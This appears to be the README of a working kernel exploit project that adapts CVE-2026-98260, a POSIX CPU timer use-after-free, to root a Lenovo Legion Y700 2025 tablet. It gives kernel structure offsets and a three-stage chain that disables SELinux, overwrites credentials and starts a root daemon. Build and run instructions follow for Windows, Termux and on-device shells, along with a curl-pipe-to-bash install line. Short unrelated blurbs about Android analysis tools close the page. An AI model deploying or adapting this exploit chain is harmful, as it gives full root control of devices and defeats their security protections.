
CVE-2026-98260 adaptation for Lenovo Legion Y700 2025 (TB321FU) / 1.1.10.138 boot image, kernel 6.1.112-android14-11
This project is the adaptation of CVE-2026-98260 for the Lenovo Legion Y700 2025 / TB321FU,
1.1.10.138 official boot.img (kernel 6.1.112-android14-11-gd03cb1d7abcd-ab12592111,
4 KiB pages).
Status: Static adaptation, build, and runner are complete; not yet verified on a Y700 physical device. Device requirement:
ro.product.devicemust beTB321FU, otherwise the runner will refuse to start before reboot / deploy / preflight / stage. The current workspace host is not a Y700; no exploit stage was run on any non-target device.
| Item | Value |
|---|---|
| Device | Lenovo Legion Y700 2025, codename TB321FU |
| boot image | 1.1.10.138 official boot.img, 100,663,296 bytes |
| boot SHA-256 | 7fd7e7fd0967bb0d459c2fd421b2458dbd59ed61d3fe267f6703e30f9a931a39 |
| Kernel release | 6.1.112-android14-11-gd03cb1d7abcd-ab12592111 |
| Page size / VA | 4 KiB / CONFIG_ARM64_VA_BITS=39 |
k_itimer | 0x108 bytes, node +0x78, 31 objects/order-1 slab |
task->cred / real_cred | +0x838 / +0x830 |
cred.uid | +0x4 |
| 场景 | 需要安装 |
|---|---|
| Y700 本机(adb shell) | 无额外安装;Android /system/bin/sh + toybox;四个 payload + tools/ksu-handoff.sh;uid 2000 |
| Y700 本机(Shizuku) | Shizuku APK + rish + 终端(Termux);repo/payloads 放 /sdcard;Shizuku 启动后无需 PC |
| Termux 主机(termux-adb) | Termux + termux-adb + termux-api 包 + Termux:API APK + curl/wget + coreutils |
| Windows 主机 | Android Platform-Tools(adb.exe)+ NDK r30(构建)+ PowerShell |
| 构建 | NDK r30(Windows)或 Termux clang(NDK r30) |
| KSU handoff | KSU 系管理器 APK + libksud.so/ksud + android14-6.1 KSU LKM |
On first run on a Termux host, the runner will ask whether to install termux-adb, termux-api, etc.; the APK cannot be
installed via pkg and requires installing Termux:API from F-Droid. The Y700 on-device method does not require Termux, NDK, or
termux-adb.
When a non-main thread executes exec(), de_thread() first swaps the thread identities; then SIGKILL
causes exec_mmap() to fail, and the thread exits before the POSIX CPU timer cleanup. exit_itimers()
frees the k_itimer, but posix_cpu_timer_del() does not remove the timerqueue node because pid_task() returns NULL;
when the parent process reaps the zombie, posix_cpu_timers_exit() operates on that node again,
forming a UAF and an rb_erase() write primitive.
This repository uses this primitive in three stages:
enforcing byte → Permissive;cred;cred pointer into task->cred / task->real_cred, and after committing, obtain full
capabilities and start the root daemon for this boot.src/
exploit-android-perf.c SELinux 阶段
exploit-android-perf-chain.c cred 阶段,成功后 exec fullcap
exploit-android-key-ptr.c fullcap 两阶段 + rootd
pc98260_rootd.c root daemon
pc98260_su.c root 命令客户端
docs/
PORT-6.1.112-Y700.md 适配记录:符号、偏移、探针、构建
TEST-PLAN-6.1.112-Y700.md 真机验证清单
tools/check-target.sh 目标机只读环境探测
tools/ksu-handoff.sh root 后 KernelSU late-load + --allow-shell
run-98260-y700-TB321FU Termux 主机入口(termux-adb)
run-98260-y700-TB321FU.sh
run-98260-y700-TB321FU-local 本机(Y700 自身)入口
run-98260-y700-TB321FU-local.sh
run-98260-y700-TB321FU-rish 本机版 Shizuku/rish 入口
run-98260-y700-TB321FU.bat Windows 入口
run-98260-y700-TB321FU.ps1
build-termux.sh / build.ps1 构建脚本
bin/ and logs/ are excluded by .gitignore; bin/ is generated locally by the build script.
Windows + Android NDK r30:
powershell -NoProfile -ExecutionPolicy Bypass -File .\build.ps1
Termux (NDK r30 clang):
./build-termux.sh
After building, four payloads are generated in bin/. The runner has built-in SHA-256 hashes for builds from this workspace;
rebuilding with a different NDK/API may produce different hashes, and the runner will refuse to deploy. If you have confirmed there are no changes, you can add
--allow-unverified-payload (or update the hashes in the runner).
Connect the Y700 via USB/OTG on the Termux host. By default, termux-adb is used, which requires the
Termux:API APK and the termux-api package; on first run, it will ask whether to install missing dependencies:
./run-98260-y700-TB321FU
./run-98260-y700-TB321FU --serial <Y700序列号> --diagnose-only
./run-98260-y700-TB321FU --serial <Y700序列号> --reboot
Dependency parameters:
--install-deps: automatically install apt packages (will still prompt for the Termux:API APK);--skip-deps: skip dependency checks;--adb-bin adb: use android-tools' adb instead;--yes: automatically answer yes to all confirmations.The upstream installation script for termux-adb is:
curl -s https://raw.githubusercontent.com/nohajc/termux-adb/master/install.sh | bash
It will ask at runtime whether to execute; the script runs apt-get --assume-yes upgrade and adds
third-party apt sources.
run-98260-y700-TB321FU.bat
# 或
powershell -NoProfile -ExecutionPolicy Bypass -File .\run-98260-y700-TB321FU.ps1
Executed on Y700 as uid=2000(shell), the stage does not go through adb/termux-adb; adb is only used to
obtain a shell:
adb push run-98260-y700-TB321FU-local.sh /data/local/tmp/
adb push run-98260-y700-TB321FU-local /data/local/tmp/
adb push bin/exploit-android-perf /data/local/tmp/
adb push bin/exploit-android-perf-chain /data/local/tmp/
adb push bin/exploit-android-key-ptr /data/local/tmp/
adb push bin/pc98260-su-client /data/local/tmp/pc98260-su
adb push tools/ksu-handoff.sh /data/local/tmp/pc98260-ksu-handoff.sh
adb shell sh /data/local/tmp/run-98260-y700-TB321FU-local.sh --diagnose-only
adb shell sh /data/local/tmp/run-98260-y700-TB321FU-local.sh
Shizuku's rish provides a uid 2000 shell; the local runner can use it directly:
rish and rish_shizuku.dex (for example to /sdcard/Download);termux-setup-storage
mkdir -p ~/.local/bin
cp /sdcard/Download/rish /sdcard/Download/rish_shizuku.dex ~/.local/bin/
chmod +x ~/.local/bin/rish
export PATH="$HOME/.local/bin:$PATH"
export RISH_APPLICATION_ID=com.termux
export RISH_PRESERVE_ENV=0
hash -r
rish -c 'id'
Confirm the output uid=2000(shell). If the DEX path in the rish script still points to the export directory,
just leave rish_shizuku.dex there; if you move both files together to
~/.local/bin, you need to change the dex= path in the script to
$HOME/.local/bin/rish_shizuku.dex.bin/ + tools/ + local runner) into /sdcard, for example
/sdcard/Download/CVE-2026-98260/repo;cd /sdcard/Download/CVE-2026-98260/repo
./run-98260-y700-TB321FU-rish --diagnose-only
./run-98260-y700-TB321FU-rish
rish executes the local runner with uid 2000; the local runner copies bin/ and
tools/ksu-handoff.sh to /data/local/tmp itself. It also supports
--no-ksu-handoff and --ksu-timeout. After a reboot, Shizuku needs to be restarted.
After the final root proof passes, the runner automatically executes tools/ksu-handoff.sh by default (can be disabled with
--no-ksu-handoff / -NoKsuHandoff):

Automated mobile application security testing framework for Android, iOS, and Windows. Performs static and dynamic analysis, malware detection, and API security testing with CI/CD integration.

Command-line and GUI tool for decompiling Android Dex and APK files into readable Java source code, with resource decoding, deobfuscation, and Smali debugging capabilities.

A tool for reverse engineering Android apk files